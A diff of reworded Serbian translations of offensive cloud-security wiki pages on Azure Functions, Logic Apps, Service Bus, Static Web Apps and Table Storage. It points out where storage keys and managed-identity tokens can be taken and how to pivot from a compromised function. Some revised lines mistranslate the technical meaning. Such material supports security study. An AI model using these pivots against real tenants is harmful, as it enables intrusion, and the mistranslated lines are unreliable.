> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene Internetu.
|
||||
> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene internetu.
|
||||
|
||||
### **Podešavanja Function App-a i promenljive okruženja**
|
||||
|
||||
Moguće je konfigurisati promenljive okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, podrazumevano se kreiraju promenljive okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga.
|
||||
|
||||
Ove promenljive okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će označiti URL gde se kod aplikacije nalazi.
|
||||
Ove promenljive okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
@@ -58,12 +58,12 @@ U **Windows** funkciji koja koristi NodeJS, kod se nalazio u **`C:\home\site\www
|
||||
|
||||
Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane identitete** od 2 tipa: Sistem dodeljen i Korisnik dodeljen.
|
||||
|
||||
**Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** kojoj je dodeljen može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
|
||||
**Sistem dodeljen** će biti upravljani identitet koji **samo funkcija** koja ga ima dodeljenog može koristiti, dok su **korisnik dodeljeni** upravljani identiteti upravljani identiteti koje **bilo koja druga Azure usluga može koristiti**.
|
||||
|
||||
> [!NOTE]
|
||||
> Baš kao i u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
|
||||
> Baš kao i u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljeni identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije.
|
||||
>
|
||||
> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisnički upravljanih identiteta povezani sa funkcijom, podrazumevano nećete moći dobiti nijedan token.
|
||||
> Ako se ne koristi sistemski upravljeni identitet, ali su jedan ili više korisnički upravljanih identiteta povezani sa funkcijom, podrazumevano nećete moći dobiti nijedan token.
|
||||
|
||||
Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metapodataka krajnje tačke. Ili ih možete dobiti **ručno** kao što je objašnjeno u:
|
||||
|
||||
@@ -84,10 +84,10 @@ Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguć
|
||||
|
||||
**Tipovi ključeva:**
|
||||
|
||||
- **Ključevi funkcija:** Ključevi funkcija mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da daju pristup isključivo **određenim krajnjim tačkama funkcija** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
|
||||
- **Ključevi funkcija:** Ključevi funkcija mogu biti podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim krajnjim tačkama funkcija** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama.
|
||||
- **Ključevi hosta:** Ključevi hosta, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim krajnjim tačkama funkcija unutar Function App-a sa nivoom pristupa FUNCTION**.
|
||||
- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim krajnjim tačkama funkcija (uključujući nivo pristupa ADMIN). Ovaj **ključ se ne može opozvati.**
|
||||
- **Sistemski ključevi:** Sistemski ključevi su **upravljački od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
|
||||
- **Master ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim krajnjim tačkama funkcija (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.**
|
||||
- **Sistemski ključevi:** Sistemski ključevi su **upravni od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima.
|
||||
|
||||
> [!TIP]
|
||||
> Primer za pristup funkciji API krajnjoj tački koristeći ključ:
|
||||
@@ -195,13 +195,13 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
Pored toga, **Upravljani identitet** se takođe kreira kako bi Github akcija iz repozitorijuma mogla da se prijavi u Azure. To se postiže generisanjem Federated kredencijala preko **Upravljanog identiteta** koji omogućava **Izdavaču** `https://token.actions.githubusercontent.com` i **Identifikatoru subjekta** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Stoga, svako ko kompromituje taj repozitorijum moći će da kompromituje funkciju i Upravljene identitete povezane s njom.
|
||||
> Stoga, svako ko kompromituje taj repozitorijum će moći da kompromituje funkciju i Upravljene identitete povezane s njom.
|
||||
|
||||
### Implementacije zasnovane na kontejnerima
|
||||
|
||||
Nisu svi planovi omogućeni za implementaciju kontejnera, ali za one koji to omogućavaju, konfiguracija će sadržati URL kontejnera. U API-ju, podešavanje **`linuxFxVersion`** će imati nešto poput: `DOCKER|mcr.microsoft.com/...`, dok će u web konzoli konfiguracija prikazivati **podešavanja slike**.
|
||||
|
||||
Pored toga, **niti jedan izvorni kod neće biti sačuvan u skladištu** povezanim sa funkcijom jer to nije potrebno.
|
||||
Pored toga, **niti jedan izvorni kod neće biti pohranjen u skladištu** povezanu sa funkcijom jer to nije potrebno.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spe
|
||||
### Primeri
|
||||
|
||||
- **Automatizacija Podatkovnih Tokova**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji.
|
||||
- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem vođenih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function-a kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka.
|
||||
- **Integracija sa Azure Funkcijama**: Logic Apps može raditi zajedno sa Azure Funkcijama za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Funkcije kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka.
|
||||
|
||||
### Vizualizacija LogicAPP-a
|
||||
|
||||
@@ -19,7 +19,7 @@ Moguće je prikazati LogicApp sa grafikom:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ili proveriti kod u sekciji "**Logic app code view**".
|
||||
ili proveriti kod u sekciji "**Prikaz koda Logic app-a**".
|
||||
|
||||
### SSRF Zaštita
|
||||
|
||||
@@ -38,7 +38,7 @@ Postoji nekoliko opcija hostovanja:
|
||||
- **Višekorisnički**: pruža deljene računske resurse, funkcioniše u javnom oblaku i prati model naplate po operaciji. Ovo je idealno za lagane i ekonomične radne opterećenja.
|
||||
* **Standard**
|
||||
- **Plan usluge radnog toka**: posvećeni računski resursi sa VNET integracijom za umrežavanje i naplaćuje se po instanci plana usluge radnog toka. Pogodno je za zahtevnija radna opterećenja koja zahtevaju veću kontrolu.
|
||||
- **Okruženje usluge aplikacija V3** posvećeni računski resursi sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET za umrežavanje i koristi model naplate zasnovan na instancama usluge aplikacija unutar okruženja. Ovo je idealno za aplikacije na nivou preduzeća koje zahtevaju visoku izolaciju.
|
||||
- **Okruženje usluge aplikacija V3** posvećeni računski resursi sa potpunom izolacijom i skalabilnošću. Takođe se integriše sa VNET-om za umrežavanje i koristi model naplate zasnovan na instancama usluge aplikacija unutar okruženja. Ovo je idealno za aplikacije na nivou preduzeća koje zahtevaju visoku izolaciju.
|
||||
- **Hibridno** dizajnirano za lokalnu obradu i podršku za više oblaka. Omogućava resurse za obradu koje upravlja korisnik sa lokalnim pristupom mreži i koristi Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Enumeracija
|
||||
@@ -151,7 +151,7 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
* Assemblies: Upravljajte skupovima integracionog naloga kako biste pojednostavili logiku i obradu podataka.
|
||||
* Certificates: Rukujte sertifikatima za enkripciju i potpisivanje poruka, obezbeđujući sigurnu komunikaciju.
|
||||
* Partners: Upravljajte informacijama o trgovinskim partnerima za B2B transakcije, omogućavajući besprekornu integraciju.
|
||||
* Agreements: Konfigurišite pravila i postavke za razmenu podataka sa trgovinskim partnerima (npr., EDI, AS2).
|
||||
* Agreements: Konfigurišite pravila i postavke za razmenu podataka sa trgovinskim partnerima (npr. EDI, AS2).
|
||||
* Batch Configurations: Upravljajte konfiguracijama obrade serija kako biste grupisali i efikasno obrađivali poruke.
|
||||
* RosettaNet PIP: Konfigurišite RosettaNet Partner Interface Processes (PIPs) za standardizaciju B2B komunikacije.
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Azure Service Bus je usluga **poruka** zasnovana na oblaku koja je dizajnirana d
|
||||
- Više nezavisnih pretplata prima kopije poruka.
|
||||
- Pretplate mogu imati pravila/filtere za kontrolu isporuke ili dodavanje metapodataka.
|
||||
- Podržava komunikaciju mnogi-na-mnogi.
|
||||
3. **Imena prostora:** Kontejner za sve komponente poruka, redove i teme, kao vaša vlastita podela moćnog Azure klastera, pružajući posvećeni kapacitet i opcionalno se proteže preko tri zone dostupnosti.
|
||||
3. **Imena prostora:** Kontejner za sve komponente poruka, redove i teme, kao vaša vlastita podela moćnog Azure klastera, pružajući posvećeni kapacitet i opcionalno se proteže preko tri dostupne zone.
|
||||
|
||||
### Napredne funkcije
|
||||
|
||||
@@ -24,13 +24,13 @@ Neke napredne funkcije su:
|
||||
|
||||
- **Sesije poruka**: Osigurava FIFO obradu i podržava obrasce zahtev-odgovor.
|
||||
- **Automatsko prosleđivanje**: Prenosi poruke između redova ili tema u istom imenskom prostoru.
|
||||
- **Dead-Lettering**: Zapisuje neisporučive poruke za pregled.
|
||||
- **Dead-Lettering**: Započinje neisporučive poruke za pregled.
|
||||
- **Zakazana isporuka**: Odlaže obradu poruka za buduće zadatke.
|
||||
- **Odlaganje poruka**: Odlaže preuzimanje poruka dok ne budu spremne.
|
||||
- **Transakcije**: Grupira operacije u atomsko izvršenje.
|
||||
- **Filteri i akcije**: Primena pravila za filtriranje ili anotaciju poruka.
|
||||
- **Automatsko brisanje kada je neaktivno**: Briše redove nakon neaktivnosti (min: 5 minuta).
|
||||
- **Otkrivanje duplikata**: Uklanja duplikate poruka tokom ponovnog slanja.
|
||||
- **Otkrivanje duplikata**: Uklanja duple poruke tokom ponovnog slanja.
|
||||
- **Brisanje u serijama**: Masovno briše istekle ili nepotrebne poruke.
|
||||
|
||||
### Pravilo autorizacije / SAS politika
|
||||
@@ -43,7 +43,7 @@ SAS politike definišu dozvole pristupa za entitete Azure Service Bus imenskog p
|
||||
- Slušanje: Omogućava primanje poruka od entiteta.
|
||||
- **Primarni i sekundarni ključevi**: Ovo su kriptografski ključevi koji se koriste za generisanje sigurnih tokena za autentifikaciju pristupa.
|
||||
- **Primarni i sekundarni stringovi za povezivanje**: Prekonfigurisani stringovi za povezivanje koji uključuju krajnju tačku i ključ za laku upotrebu u aplikacijama.
|
||||
- **SAS politika ARM ID**: Putanja Azure Resource Manager-a (ARM) do politike za programatsku identifikaciju.
|
||||
- **SAS politika ARM ID**: Putanja Azure Resource Manager (ARM) do politike za programatsku identifikaciju.
|
||||
|
||||
### Imena prostora
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije o statičkim web aplikacijama
|
||||
|
||||
Azure Static Web Apps je cloud usluga za hostovanje **statičkih web aplikacija sa automatskim CI/CD iz repozitorijuma kao što je GitHub**. Pruža globalnu isporuku sadržaja, serverless backend i ugrađeni HTTPS, čineći je sigurnom i skalabilnom. Međutim, čak i ako se usluga naziva "statičkom", to ne znači da je potpuno sigurna. Rizici uključuju pogrešno konfigurisane CORS, nedovoljnu autentifikaciju i manipulaciju sadržajem, što može izložiti aplikacije napadima poput XSS i curenja podataka ako se ne upravlja pravilno.
|
||||
Azure Static Web Apps je cloud usluga za hostovanje **statičkih web aplikacija sa automatskim CI/CD iz repozitorijuma kao što je GitHub**. Pruža globalnu isporuku sadržaja, serverless backend, i ugrađeni HTTPS, čineći je sigurnom i skalabilnom. Međutim, čak i ako se usluga naziva "statičkom", to ne znači da je potpuno sigurna. Rizici uključuju pogrešno konfigurisane CORS, nedovoljnu autentifikaciju i manipulaciju sadržajem, što može izložiti aplikacije napadima poput XSS i curenja podataka ako se ne upravlja pravilno.
|
||||
|
||||
### Autentifikacija prilikom implementacije
|
||||
|
||||
@@ -62,18 +62,18 @@ Neki primeri:
|
||||
}
|
||||
}
|
||||
```
|
||||
Napomena kako je moguće **zaštititi putanju ulogom**, tada će korisnici morati da se autentifikuju u aplikaciju i dobiju tu ulogu da bi pristupili putanji. Takođe je moguće **napraviti pozivnice** koje dodeljuju specifične uloge specifičnim korisnicima koji se prijavljuju putem EntraID, Facebook-a, GitHub-a, Google-a, Twitter-a, što može biti korisno za eskalaciju privilegija unutar aplikacije.
|
||||
Napomena kako je moguće **zaštititi putanju sa ulogom**, tada će korisnici morati da se autentifikuju u aplikaciji i dobiju tu ulogu da bi pristupili putanji. Takođe je moguće **napraviti pozivnice** koje dodeljuju specifične uloge specifičnim korisnicima koji se prijavljuju putem EntraID, Facebook-a, GitHub-a, Google-a, Twitter-a, što može biti korisno za eskalaciju privilegija unutar aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da je moguće konfigurisati aplikaciju tako da **promene u `staticwebapp.config.json`** datoteci nisu prihvaćene. U ovom slučaju, možda neće biti dovoljno samo promeniti datoteku iz Github-a, već i **promeniti podešavanje u aplikaciji**.
|
||||
> Imajte na umu da je moguće konfigurisati aplikaciju tako da **promene u `staticwebapp.config.json`** datoteci nisu prihvaćene. U ovom slučaju, možda neće biti dovoljno samo promeniti datoteku sa GitHub-a, već i **promeniti podešavanje u aplikaciji**.
|
||||
|
||||
URL za testiranje ima ovaj format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kao: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
Staging URL ima ovaj format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kao: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
### Upravljane identitete
|
||||
|
||||
Azure Static Web Apps mogu biti konfigurisane da koriste **upravljane identitete**, međutim, kao što je pomenuto u [ovom FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), oni su podržani samo za **izvlačenje tajni iz Azure Key Vault-a u svrhe autentifikacije, a ne za pristup drugim Azure resursima**.
|
||||
|
||||
Za više informacija možete pronaći Azure vodič o korišćenju tajne iz trezora u statičkoj aplikaciji na https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||
Za više informacija možete pronaći Azure vodič o korišćenju tajne iz vault-a u statičkoj aplikaciji na https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@@ -168,7 +168,7 @@ Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
Možete pronaći lep primer za generisanje web aplikacije na sledećem linku: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Forkujte repozitorijum https://github.com/staticwebdev/react-basic/generate na vašem GitHub nalogu i nazovite ga `my-first-static-web-app`
|
||||
1. Forkujte repozitorijum https://github.com/staticwebdev/react-basic/generate na vaš GitHub nalog i nazovite ga `my-first-static-web-app`
|
||||
2. U Azure portalu kreirajte Static Web App konfigurišući pristup Github-u i birajući prethodno forkovani novi repozitorijum
|
||||
3. Kreirajte ga, sačekajte nekoliko minuta i proverite vašu novu stranicu!
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
**Azure Table Storage** je NoSQL skladište ključ-vrednost dizajnirano za skladištenje velikih količina strukturiranih, nerezidencijalnih podataka. Pruža visoku dostupnost, nisku latenciju i skalabilnost za efikasno upravljanje velikim skupovima podataka. Podaci su organizovani u tabele, pri čemu je svaka entitet identifikovan pomoću partition key i row key, što omogućava brze pretrage. Podržava funkcije kao što su enkripcija u mirovanju, kontrola pristupa zasnovana na ulogama i potpisane pristupne dozvole za sigurno, upravljano skladištenje pogodno za širok spektar aplikacija.
|
||||
**Azure Table Storage** je NoSQL skladište ključ-vrednost dizajnirano za skladištenje velikih količina strukturiranih, nestrukturiranih podataka. Pruža visoku dostupnost, nisku latenciju i skalabilnost za efikasno upravljanje velikim skupovima podataka. Podaci su organizovani u tabelama, pri čemu je svaka entitet identifikovan pomoću partition key i row key, što omogućava brze pretrage. Podržava funkcije kao što su enkripcija u mirovanju, kontrola pristupa zasnovana na ulogama i potpisane pristupne dozvole za sigurno, upravljano skladištenje pogodno za širok spektar aplikacija.
|
||||
|
||||
**Ne postoji ugrađeni mehanizam za pravljenje rezervnih kopija** za skladištenje tabela.
|
||||
**Ne postoji ugrađeni mehanizam za pravljenje rezervnih kopija** za table storage.
|
||||
|
||||
### Ključevi
|
||||
|
||||
@@ -79,7 +79,7 @@ Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccou
|
||||
> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID glavnog korisnika, koristite parametre `--auth-mode login`.
|
||||
|
||||
> [!TIP]
|
||||
> Koristite parametar `--account-key` da označite ključ naloga koji će se koristiti\
|
||||
> Koristite parametar `--account-key` da biste naznačili ključ naloga koji će se koristiti\
|
||||
> Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Reference in New Issue
Block a user